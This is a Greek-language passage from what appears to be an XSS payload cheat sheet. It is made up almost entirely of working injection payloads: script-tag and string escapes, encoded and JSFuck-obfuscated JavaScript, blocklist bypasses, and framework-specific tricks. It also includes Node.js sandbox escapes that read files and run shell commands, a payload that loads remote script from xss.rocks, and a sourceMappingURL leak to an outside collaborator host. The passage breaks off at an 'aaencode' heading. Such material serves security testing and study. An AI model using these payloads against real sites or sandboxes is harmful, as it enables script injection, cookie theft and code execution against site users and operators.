Αν ο κώδικάς σου εισάγεται μέσα σε <script> [...] var input = 'αντανακλαστικά δεδομένα' [...] </script> μπορείς εύκολα να αποδράσεις κλείνοντας την ετικέτα <script>:

</script><img src=1 onerror=alert(document.domain)>

Σημειώστε ότι σε αυτό το παράδειγμα δεν έχουμε κλείσει ούτε τη μονή απόστροφο. Αυτό συμβαίνει επειδή η ανάλυση HTML πραγματοποιείται πρώτα από τον περιηγητή, η οποία περιλαμβάνει την αναγνώριση στοιχείων σελίδας, συμπεριλαμβανομένων των τμημάτων κώδικα. Η ανάλυση του JavaScript για την κατανόηση και εκτέλεση των ενσωματωμένων σεναρίων πραγματοποιείται μόνο μετά.

Μέσα στον κώδικα JS

Αν τα <> αποσαφηνίζονται, μπορείτε ακόμα να αποδράσετε από τη συμβολοσειρά όπου βρίσκεται η είσοδός σας και να εκτελέσετε αυθαίρετο JS. Είναι σημαντικό να διορθώσετε τη σύνταξη του JS, επειδή αν υπάρχουν οποιαδήποτε σφάλματα, ο κώδικας JS δεν θα εκτελεστεί:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Πρότυπα συμβολοσειρών ``

Για να κατασκευάσετε συμβολοσειρές εκτός από μονά και διπλά εισαγωγικά, το JS δέχεται επίσης ανάστροφες μονάδες ``. Αυτό είναι γνωστό ως πρότυπα συμβολοσειρών καθώς επιτρέπει τη ενσωμάτωση εκφράσεων JS χρησιμοποιώντας τη σύνταξη ${ ... }.

Συνεπώς, αν διαπιστώσετε ότι η είσοδός σας αντανακλάται μέσα σε μια συμβολοσειρά JS που χρησιμοποιεί ανάστροφες μονάδες, μπορείτε να καταχραστείτε τη σύνταξη ${ ... } για να εκτελέσετε οποιοδήποτε JS κώδικα:

Αυτό μπορεί να καταχραστεί χρησιμοποιώντας:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Κωδικός εκτέλεσης κωδικοποιημένος

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Κωδικοποίηση Unicode εκτέλεσης JS

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Τεχνικές παράκαμψης μαύρων λιστών JavaScript

Συμβολοσειρές

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Ειδικές αποδράσεις

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Αντικαταστάσεις κενών χώρων μέσα σε κώδικα JS

<TAB>
/**/

Σχόλια JavaScript (από το κόλπο Σχόλια JavaScript )

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

Νέες γραμμές στο JavaScript (από το κόλπο με τις νέες γραμμές στο JavaScript )

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

Κενά στην JavaScript

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Κώδικας Javascript μέσα σε ένα σχόλιο

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript χωρίς παρενθέσεις

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Αυθαίρετη κλήση συνάρτησης (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

Ευπάθειες DOM

Υπάρχει κώδικας JS που χρησιμοποιεί δεδομένα που ελέγχεται μη ασφαλώς από επιτιθέμενο όπως το location.href. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS. Λόγω της επέκτασης της εξήγησης των ευπαθειών DOM μεταφέρθηκε σε αυτήν τη σελίδα:

pageDOM XSS

Εκεί θα βρείτε μια λεπτομερή εξήγηση του τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς μπορούν να εκμεταλλευτούν. Επίσης, μην ξεχνάτε ότι στο τέλος της αναφερόμενης ανάρτησης μπορείτε να βρείτε μια εξήγηση σχετικά με τις επιθέσεις DOM Clobbering.

Άλλες Παρακάμψεις

Κανονικοποιημένο Unicode

Μπορείτε να ελέγξετε αν τα αντανακλαστικά τιμές υποβάλλονται σε κανονικοποίηση Unicode στον εξυπηρετητή (ή στην πλευρά του πελάτη) και να εκμεταλλευτείτε αυτήν τη λειτουργικότητα για να παρακάμψετε προστασίες. Βρείτε ένα παράδειγμα εδώ.

Παράκαμψη σημαίας PHP FILTER_VALIDATE_EMAIL

"><svg/onload=confirm(1)>"@x.y

Διαπραγμάτευση Ruby-On-Rails

Λόγω των RoR μαζικών εκχωρήσεων οι εισαγωγικοί χαρακτήρες εισάγονται στο HTML και στη συνέχεια η περιοριστική παράμετρος παρακάμπτεται και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα. Παράδειγμα φόρμας (από αυτήν την αναφορά), αν στείλετε το φορτίο:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Το ζεύγος "Key", "Value" θα επιστραφεί πίσω όπως εδώ:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Στη συνέχεια, το γνώρισμα onfocus θα εισαχθεί και θα προκληθεί XSS.

Ειδικοί συνδυασμοί

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS με εισαγωγή κεφαλίδας σε μια απάντηση 302

Εάν ανακαλύψετε ότι μπορείτε να εισάγετε κεφαλίδες σε μια απάντηση 302 Ανακατεύθυνσης, μπορείτε να προσπαθήσετε να κάνετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript. Αυτό δεν είναι απλό καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απάντησης HTTP εάν ο κωδικός κατάστασης της απάντησης HTTP είναι 302, οπότε μόνο μια φόρτωση cross-site scripting είναι άχρηστη.

Σε αυτήν την αναφορά και αυτήν μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε αρκετούς πρωτόκολλους μέσα στην κεφαλίδα Τοποθεσίας και να δείτε αν κάποιος από αυτούς επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει τη φόρτωση XSS μέσα στο σώμα. Γνωστοί πρωτόκολλοι: mailto://, //x:1/, ws://, wss://, κενή κεφαλίδα Τοποθεσίας, resource://.

Μόνο Γράμματα, Αριθμοί και Τελείες

Εάν μπορείτε να υποδείξετε το κλήση που το javascript θα εκτελέσει περιορισμένο σε αυτούς τους χαρακτήρες. Διαβάστε αυτήν την ενότητα αυτής της ανάρτησης για να βρείτε πώς να εκμεταλλευτείτε αυτήν τη συμπεριφορά.

Έγκυροι Τύποι Περιεχομένου <script> για XSS

(Από εδώ) Εάν προσπαθήσετε να φορτώσετε ένα script με έναν τύπο περιεχομένου όπως application/octet-stream, το Chrome θα εμφανίσει το ακόλουθο σφάλμα:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Οι μόνοι Τύποι Περιεχομένου που θα υποστηρίξουν το Chrome να εκτελέσει ένα φορτωμένο script είναι αυτοί που βρίσκονται μέσα στη σταθερά kSupportedJavascriptTypes από https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Τύποι Σεναρίων για XSS

(Από εδώ) Λοιπόν, ποιοι τύποι μπορούν να υποδειχθούν για τη φόρτωση ενός σεναρίου;

<script type="???"></script>

Η απάντηση είναι:

  • module (προεπιλεγμένο, δεν χρειάζεται εξήγηση)

  • webbundle: Τα Web Bundles είναι μια λειτουργία με την οποία μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS...) μαζί σε ένα αρχείο .wbn.

<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Επιτρέπει τη βελτίωση της σύνταξης εισαγωγής

<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Αυτή η συμπεριφορά χρησιμοποιήθηκε στο συγκεκριμένο άρθρο για την ανακατεύθυνση μιας βιβλιοθήκης στο eval για να την καταχραστεί και να ενεργοποιήσει XSS.

  • speculationrules: Αυτό το χαρακτηριστικό είναι κυρίως για την επίλυση ορισμένων προβλημάτων που προκαλούνται από το προ-αποτύπωμα. Δουλεύει με τον εξής τρόπο:

<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Τύποι Περιεχομένου Ιστοσελίδας για XSS

(Από εδώ) Οι ακόλουθοι τύποι περιεχομένου μπορούν να εκτελέσουν XSS σε όλους τους browsers:

  • text/html

  • application/xhtml+xml

  • application/xml

  • text/xml

  • image/svg+xml

  • text/plain (?? δεν είναι στη λίστα αλλά νομίζω ότι το είδα σε ένα CTF)

  • application/rss+xml (απενεργοποιημένο)

  • application/atom+xml (απενεργοποιημένο)

Σε άλλους browsers μπορούν να χρησιμοποιηθούν άλλοι Τύποι-Περιεχομένου για την εκτέλεση αυθαίρετου JS, ελέγξτε: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

Τύπος Περιεχομένου xml

Εάν η σελίδα επιστρέφει έναν τύπο περιεχομένου text/xml, είναι δυνατή η καθορισμός ενός namespace και η εκτέλεση αυθαίρετου JS:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Ειδικά Πρότυπα Αντικατάστασης

Όταν χρησιμοποιείται κάτι σαν "some {{template}} data".replace("{{template}}", <user_input>). Ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει ειδικές αντικαταστάσεις συμβόλων για να προσπαθήσει να παρακάμψει κάποιες προστασίες: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Για παράδειγμα σε αυτό το άρθρο, αυτό χρησιμοποιήθηκε για να αποδράσει μια συμβολοσειρά JSON μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα.

Chrome Cache σε XSS

pageChrome Cache to XSS

Απόδραση από XS Jails

Αν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων προς χρήση, ελέγξτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Εάν τα πάντα είναι απροσδιόριστα πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε αυτήν την ανάλυση) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να καταχραστεί η εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:

  • Χρησιμοποιώντας import()

// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • Πρόσβαση στο require έμμεσα

Σύμφωνα με αυτό τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτό:

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

Επομένως, αν από αυτή τη μονάδα μπορούμε να καλέσουμε μια άλλη συνάρτηση, είναι δυνατόν να χρησιμοποιήσουμε το arguments.callee.caller.arguments[1] από αυτή τη συνάρτηση για να έχουμε πρόσβαση στο require:

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

Με έναν παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να χρησιμοποιήσετε τους χειριστές σφαλμάτων για να έχετε πρόσβαση στο περιτύλιγμα του module και να λάβετε τη συνάρτηση require:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

Απόκρυψη & Προηγμένη Αντιστάθμιση

//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
